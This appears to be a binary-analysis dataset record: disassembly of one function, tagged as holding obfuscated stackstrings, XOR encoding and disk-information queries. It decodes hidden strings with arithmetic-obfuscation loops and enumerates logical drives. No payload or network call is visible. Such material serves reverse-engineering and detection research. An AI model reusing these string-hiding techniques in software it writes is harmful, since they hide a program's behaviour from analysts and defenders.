Function at 0x424bd0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get disk information

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x98
mov dword [esp + 4], 0x6132675b
mov dword [esp + 8], 0x7d1f6311
mov dword [esp + 0xc], 0x790a7f1f
mov dword [esp + 0x10], 0x750a7b3b
mov dword [esp + 0x14], 0x712a7704
mov dword [esp + 0x18], 0x8dfe7313
mov dword [esp + 0x1c], 0x89b18fef
lea eax, [esp + 0x20]
mov word [esp + 0x20], 0x8b88
mov dword [esp + 0x22], 0
mov word [esp + 0x26], 0
xor ecx, ecx
xor edx, edx
movzx edi, byte [esp + edx + 4]
mov ebx, edx
xor ebx, 0x328eb117
mov esi, ecx
and esi, 0x50
sub esi, ebx
xor esi, edi
mov edi, 0x3368a8d
sub edi, esi
or edi, 1
add edi, esi
mov ebx, esi
or ebx, 1
and esi, 1
sub ebx, esi
lea ebx, [ebx + edi*2]
add bl, 0x58
mov byte [esp + edx + 4], bl
inc edx
add ecx, 2
cmp edx, 0x24
jne 0x424c30
lea esi, [esp + 0x7a]
lea edx, [esp + 4]
mov edi, esi
mov ecx, 7
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0x96]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov eax, esp
push eax
push 0
push 0
push 0xe
push esi
push 0
call dword [0x44be2c]
mov dword [esp + 4], 0x195a5b61
mov dword [esp + 8], 0
mov esi, 0xf
mov edx, 0x2440d3f0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebp, byte [esp + esi - 0xb]
mov ecx, esi
and ecx, ebp
mov edi, ecx
and edi, 0x1d
mov ebx, ecx
and ebx, 2
or ecx, 2
imul ecx, ebx
xor ebx, 2
imul ebx, edi
add ecx, ebx
lea edi, [esi + ebp]
add edi, 0xdbbf2c00
mov ebx, edx
sub ebx, ebp
and ebx, ecx
not ecx
and ecx, edi
sub ecx, ebx
add cl, 0xb5
mov byte [esp + esi - 0xb], cl
inc esi
dec edx
cmp esi, 0x17
jne case.default.0x424d1d
xor ecx, ecx
cmp eax, dword [esp + 4]
setne cl
jmp dword [ecx*4 + 0x4466cc]
mov ebp, dword [esp]
test ebp, ebp
jns 0x424d42
mov eax, 0xffffffff
jmp 0x424d49
mov eax, dword [case.0x424d1d.4]
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
jmp eax
lea eax, [ebp*2]
push eax
call fcn.004082d0
add esp, 4
mov esi, eax
mov eax, esp
push eax
push ebp
push esi
push 0xe
lea eax, [esp + 0x8a]
push eax
push 0
call dword [0x44be2c]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4466e4]
xor ebx, ebx
jmp dword [0x4466ec]
push esi
call fcn.004082e0
add esp, 4
mov eax, ebx
add esp, 0x98
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp]
mov ecx, eax
add ecx, 9
mov dword [esp + 0x6c], esi
jns 0x424daa
mov eax, 0xffffffff
jmp 0x424db1
lea eax, [eax*2 + 0x12]
push eax
call fcn.004082d0
add esp, 4
mov dword [esp + 0x58], eax
mov dword [esp + 4], 0x2352214c
mov dword [esp + 8], 0x27452545
mov dword [esp + 0xc], 0x5b3b59c3
mov dword [esp + 0x10], 0x5f3b5d3b
mov dword [esp + 0x14], 0x535251c3
mov dword [esp + 0x18], 0
mov eax, 0xa1176338
mov ecx, 0x5ee89cc7
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + eax + 0x5ee89ccc]
mov ebp, ebx
not ebp
mov edi, ebx
xor edi, 0x79617427
mov edx, ebx
or edx, 0xd8
and edx, edi
or ebx, 0x868e0a18
and ebx, 0x868e0a3f
xor ebx, edx
xor ebx, 0xffef7e3f
and edx, ebp
and edx, 0x27
or edx, ebx
mov edi, ecx
and edi, 0x58601427
mov ebx, eax
and ebx, 0x80160358
or ebx, edi
xor ebx, edx
mov edx, ebx
not edx
mov edi, ebx
and edi, 0xd62a866c
xor ebx, 0xd62a866c
lea ebp, [ebx + edi*2]
mov esi, 0x84
sub esi, ebp
lea ebx, [ebx + edi*2]
add ebx, 0x7b
not ebx
or ebx, esi
and edx, 1
not ebx
or ebx, 1
add ebx, edx
mov byte [esp + eax + 0x5ee89ccc], bl
inc eax
dec ecx
cmp eax, 0xa1176350
jne 0x424e00
mov esi, dword [esp + 0x6c]
movzx ecx, word [esi]
mov ebp, dword [esp + 0x58]
mov eax, ebp
test cx, cx
je 0x424ec1
lea edx, [esi + 2]
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x424eb0
mov word [eax], 0
movzx ecx, word [esp + 4]
test cx, cx
je 0x424ef1
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x424ee0
mov word [eax], 0
lea eax, [esp + 0x74]
push eax
push ebp
call fcn.0043f130
add esp, 8
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4466f4]
mov eax, dword [esp + 0x74]
shr eax, 2
and eax, 4
jmp dword [eax + 0x4466fc]
mov eax, dword [esp]
mov ecx, eax
add ecx, 0x25
jns 0x424f31
mov eax, 0xffffffff
jmp 0x424f38
lea eax, [eax*2 + 0x4a]
push eax
call fcn.004082d0
add esp, 4
mov dword [esp + 0x54], eax
mov dword [esp + 4], 0x33e731d4
mov dword [esp + 8], 0x3fdd3dd5
mov dword [esp + 0xc], 0x3bcd39ca
mov dword [esp + 0x10], 0xc731c537
mov dword [esp + 0x14], 0xc33ec12e
mov dword [esp + 0x18], 0xcf11cd28
mov dword [esp + 0x1c], 0xcb3cc921
mov dword [esp + 0x20], 0xd721d538
mov dword [esp + 0x24], 0xd321d12f
mov dword [esp + 0x28], 0xdf0bddfc
mov dword [esp + 0x2c], 0xdb33d939
mov dword [esp + 0x30], 0xe702e510
mov dword [esp + 0x34], 0xe315e134
mov dword [esp + 0x38], 0xef0fed0f
mov dword [esp + 0x3c], 0xebcae91c
mov dword [esp + 0x40], 0xf701f53a
mov dword [esp + 0x44], 0xf31ef104
mov dword [esp + 0x48], 0xff0cfd11
mov dword [esp + 0x4c], 0xfbfaf90b
mov byte [esp + 0x50], 0
mov ebp, 0x72518d74
mov ecx, 0xdae728b
nop
nop
nop
nop
movzx ebx, byte [esp + ebp - 0x72518d70]
lea edi, [ecx - 0xdae7200]
and edi, 0xde
mov edx, ebp
and edx, 0x21
or edx, edi
xor edx, 0xde
and edx, ebx
mov edi, ecx
and edi, 0x8a40046
mov eax, ebp
and eax, 0x20108db9
or eax, edi
xor eax, ebx
xor eax, 0x5ae50046
lea edi, [ebp - 0x72518d00]
and edi, ebx
or edi, eax
not edx
and edx, edi
mov eax, 0x44
sub eax, edx
not edx
and edx, 1
or eax, 1
sub edx, eax
mov byte [esp + ebp - 0x72518d70], dl
inc ebp
dec ecx
cmp ebp, 0x72518dc1
jne 0x424ff0
movzx ecx, word [esi]
mov edi, dword [esp + 0x54]
mov eax, edi
test cx, cx
je 0x425081
mov edx, esi
add edx, 2
mov eax, edi
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x425070
mov word [eax], 0
movzx ecx, word [esp + 4]
test cx, cx
mov ebp, dword [esp + 0x58]
je 0x4250b1
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4250a0
mov word [eax], 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea eax, [esp + 0x70]
push eax
push edi
call fcn.0043f130
add esp, 8
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x446704]
mov eax, dword [esp + 0x70]
shr eax, 2
and eax, 4
xor ebx, ebx
jmp dword [eax + 0x44670c]
jmp dword [0x446714]
push edi
call fcn.004082e0
add esp, 4
jmp dword [0x44671c]
jmp dword [0x446724]
mov eax, dword [esp + 0xac]
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], ebp
mov dword [esp + 4], 0x1fb719b5
mov dword [esp + 8], 0x63d41dbb
mov dword [esp + 0xc], 0x67d161d3
mov dword [esp + 0x10], 0x6bc065d7
mov dword [esp + 0x14], 0x6f1c69dc
mov dword [esp + 0x18], 0x73db6dd7
mov dword [esp + 0x1c], 0x77d271c2
mov dword [esp + 0x20], 0x7bc175c7
mov dword [esp + 0x24], 0x7fd979cf
mov dword [esp + 0x28], 0x43ef7dcf
mov dword [esp + 0x2c], 0x47f341ed
mov dword [esp + 0x30], 0x4be345f6
mov dword [esp + 0x34], 0x4fef49ef
mov dword [esp + 0x38], 0x53fb4df8
mov dword [esp + 0x3c], 0x57e451e3
mov dword [esp + 0x40], 0x5bfb55e3
mov dword [esp + 0x44], 0x5fee59e8
mov dword [esp + 0x48], 0xa3cc5deb
mov word [esp + 0x4c], 0xa1a0
mov byte [esp + 0x50], 0
mov word [esp + 0x4e], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + eax + 4]
lea edx, [eax + 0xba]
mov ecx, 0x45
sub ecx, eax
mov edi, 1
sub edi, eax
and edi, 2
and edx, 0xfd
or edx, edi
xor edx, 0xfd
or edx, ecx
or ecx, ebx
and edx, ebx
not ecx
or ecx, edx
add cl, 0x5e
mov byte [esp + eax + 4], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x4d
jb 0x4251c0
lea eax, [esp + 0x5c]
push eax
push 0x426da0
lea eax, [esp + 0xc]
push eax
push ebp
call fcn.00423170
add esp, 0x10
mov ebx, eax
jmp dword [0x44671c]
mov dword [esp + 0x5c], 0xe9b8eb8a
mov dword [esp + 0x60], 0xed7def43
mov dword [esp + 0x64], 0xd1d2d340
mov word [esp + 0x68], 0
mov byte [esp + 0x6a], 0
nop
movzx eax, byte [esp + ebx + 0x5c]
lea ecx, [ebx + 0x124a4cd7]
and ecx, eax
add ecx, ecx
lea edx, [ebx + eax]
add edx, 0x124a4cd7
mov eax, edx
sub eax, ecx
and edx, 1
or eax, 1
add eax, edx
add al, 0xcc
mov byte [esp + ebx + 0x5c], al
mov eax, ebx
xor eax, 0xd5807b6e
and ebx, 0xe
lea ebx, [eax + ebx*2]
add ebx, 0x2a7f8493
cmp ebx, 0xf
jb 0x425250
mov dword [esp + 4], 0x4fef49f5
mov dword [esp + 8], 0x43de4dd5
mov dword [esp + 0xc], 0x471541d7
mov dword [esp + 0x10], 0xbb2345ef
mov dword [esp + 0x14], 0xbf1ab92a
mov dword [esp + 0x18], 0xb339bd2f
mov dword [esp + 0x1c], 0xb7d6b127
mov dword [esp + 0x20], 0xab0bb509
mov dword [esp + 0x24], 0xaf32a931
mov dword [esp + 0x28], 0xa3e3adcc
mov dword [esp + 0x2c], 0xa732a13c
mov dword [esp + 0x30], 0x9b0ca501
mov dword [esp + 0x34], 0x9f3f990a
mov dword [esp + 0x38], 0x930b9d08
mov dword [esp + 0x3c], 0x9733911a
mov dword [esp + 0x40], 0x9594
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 4]
lea edx, [eax - 0x406d648e]
lea ebx, [eax + 0x72]
or edx, ebx
and edx, ecx
add ecx, eax
add ecx, 0xbf929b72
add edx, edx
sub ecx, edx
mov edx, ecx
not edx
or edx, 0x4222f6c5
add edx, ecx
inc edx
mov ebx, edx
and ebx, 0xfd
mov edi, edx
and edi, 2
or edx, 2
imul edx, edi
xor edi, 2
imul edi, ebx
xor ecx, 0xc5
add ecx, edx
add ecx, edi
inc cl
mov byte [esp + eax + 4], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x40
jb 0x425320
lea eax, [esp + 0x5c]
push 0
push 4
push 0xc00000
push eax
mov edi, dword [esp + 0x64]
push edi
lea eax, [esp + 0x18]
push eax
push dword [esp + 0xc4]
call fcn.00422e30
add esp, 0x1c
mov ebx, eax
jmp dword [0x446714]
jmp dword [0x44671c]
push ebp
call fcn.004082e0
add esp, 4
jmp dword [0x446724]